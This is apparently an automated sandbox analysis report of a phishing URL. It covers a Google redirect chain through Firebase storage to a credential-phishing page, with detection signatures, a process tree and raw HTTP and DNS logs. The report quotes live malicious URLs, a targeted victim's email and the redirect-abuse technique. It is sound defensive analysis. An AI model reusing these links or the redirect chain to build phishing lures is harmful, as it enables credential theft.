Edit tour

Windows Analysis Report
https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWB

Overview

General Information

Sample URL:	https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%252
Analysis ID:	1431387
Infos:

Detection

HTMLPhisher

Score:	52
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish44

HTML page contains suspicious base64 encoded javascript

HTML page contains hidden URLs or javascript code

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 7056 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.google.com.np/amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail#Z2xlbm5Ab2JzaWRpYW5zZWN1cml0eS5jb20= MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 --field-trial-handle=1976,i,11092379533152841494,16157338052341139847,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_71	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_71, type: DROPPED

HTML page contains suspicious base64 encoded javascript

Source: https://gututa.ureilect.com/1MZ153uW/#Mglenn@obsidiansecurity.com

HTTP Parser: Base64 decoded: <script>

Source: https://gututa.ureilect.com/1MZ153uW/#Mglenn@obsidiansecurity.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://gututa.ureilect.com/1MZ153uW/#Mglenn@obsidiansecurity.com	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 23.207.53.201:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.207.53.201:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.85.23.86:443 -> 192.168.2.16:49739 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 23.207.53.201
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 13.85.23.86
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108

Source: global traffic	HTTP traffic detected: GET /amp/s/www.google.com%2Furl%3Fsa%3DD%26q%3Dhttps%3A%2F%2Ffirebasestorage.googleapis.com%2Fv0%2Fb%2Fmy-awesome-project-id-35889.appspot.com%2Fo%2Fsos.html%253Falt%253Dmedia%2526token%253D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c%26ust%3D1714080900000000%26usg%3DAOvVaw34yUu7IQGPgWBmXhCFwzfl%26hl%3Den%26source%3Dgmail HTTP/1.1Host: www.google.com.npConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /url?sa=D&q=https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html%3Falt%3Dmedia%26token%3D8c2f5cb7-624d-469a-a987-a3c9e3bcaf1c&ust=1714080900000000&usg=AOvVaw34yUu7IQGPgWBmXhCFwzfl&hl=en&source=gmail HTTP/1.1Host: www.google.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7X-Client-Data: CIu2yQEIprbJAQipncoBCLbgygEIkqHLAQj2mM0BCIWgzQEI3L3NAQiRys0BCLnKzQEIx9HNAQiJ080BCNzTzQEIy9bNAQj01s0BCIrXzQEIp9jNAQj5wNQVGLrSzQEYy9jNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /1MZ153uW/ HTTP/1.1Host: gututa.ureilect.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://firebasestorage.googleapis.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gututa.ureilect.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gututa.ureilect.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/471dc2adc340/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://gututa.ureilect.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://gututa.ureilect.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8799a58bde211351 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: gututa.ureilect.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://gututa.ureilect.com/1MZ153uW/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlNyNG1TTUtJR01Hb0UrT3FEN0g2RkE9PSIsInZhbHVlIjoiRlBXMVB2Wnhoczk5c3FuTEQ0Z2dVZmU5UVpLWkExaENXNjNEL1h1SGlTSm1YRTg0Tm9UM3M0RWhCbFN2aHFWbVJsQzZIY2p0ZUkyanVndlNXYmpEVFNreWRBeW1GelgyM252MTBHdW5kU0VrQndSdktvSTh3dmhpR1E2UmxkbEYiLCJtYWMiOiJjZjIzN2FlZDAxYjYzMDRhM2U1Zjk0Mjg1MzJmNGEzN2FkYTY3ZTVlZTk4NTI1MDNjZTk5ZjM3MDBmNmFjNjNlIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRrWTVXcGhscWgwMFhYbkFvMGFCVnc9PSIsInZhbHVlIjoiYjl3b0ZJdmw3amMxTk9sWEFnS3lzWEVUVkh2SndkMnhla2x1bU9HOVBSeFZhOVo3NXk2UHV2YjZrUU1kZXlmYmxWWWtNQkw0R0RNbTk3UEJWOXI3cmhYVzA4dXRoM0YxMXRZRzQzdGJqejYrdXpOdEtacTVPWHFVbWJmMXpZRTMiLCJtYWMiOiI3YmMxZDAxODAwOWIwM2U4NWJlZWIzOTdkNzFmOGQyMDQ3NzhjZTVmMTZhMDQ4OTRmM2Q1Y2JmNWFhMGZiN2Q0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8799a58bde211351/1713998969158/3daf6e0b959aac451d968150be314b24d5b0e2325e9d5285c76b38b9b323c647/5B6wV5VHgVesIP7 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8799a58bde211351/1713998969163/qq3KK3QMjPGdJp_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8799a58bde211351/1713998969163/qq3KK3QMjPGdJp_ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TL+lUdmeeUc8fc9&MD=XFLVphtz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=TL+lUdmeeUc8fc9&MD=XFLVphtz HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com

Source: global traffic	DNS traffic detected: DNS query: www.google.com.np
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: gututa.ureilect.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/197470931:1713997520:DaXxhv4ov71QJcajASKntCSPo-IrKnIIVexevO593E0/8799a58bde211351/67971d35eb53136 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 2669sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 67971d35eb53136sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/7m7v1/0x4AAAAAAAWuxZbeQelI4Wvo/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 24 Apr 2024 22:49:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u0a%2Bq4xND1FN0C9MHUxIB4ToKwF3RsCwI5sNHm27yuhm%2B7kLYTX8dyrji0aVuCc7R3CwX1lqYiz41FqlIUWreZMSMikW6%2BvN24SL9eo%2BxaOVe0pQaN2zDueLsR6Vlw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400CF-Cache-Status: EXPIREDServer: cloudflareCF-RAY: 8799a5927b67672f-ATL

Source: chromecache_66.1.dr	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html?alt
Source: chromecache_66.1.dr	String found in binary or memory: https://firebasestorage.googleapis.com/v0/b/my-awesome-project-id-35889.appspot.com/o/sos.html?alt=m
Source: chromecache_67.1.dr	String found in binary or memory: https://gututa.ureilect.com/1MZ153uW/#M
Source: chromecache_67.1.dr	String found in binary or memory: https://www.cloudflare.com/5xx-error-landing/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49688 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
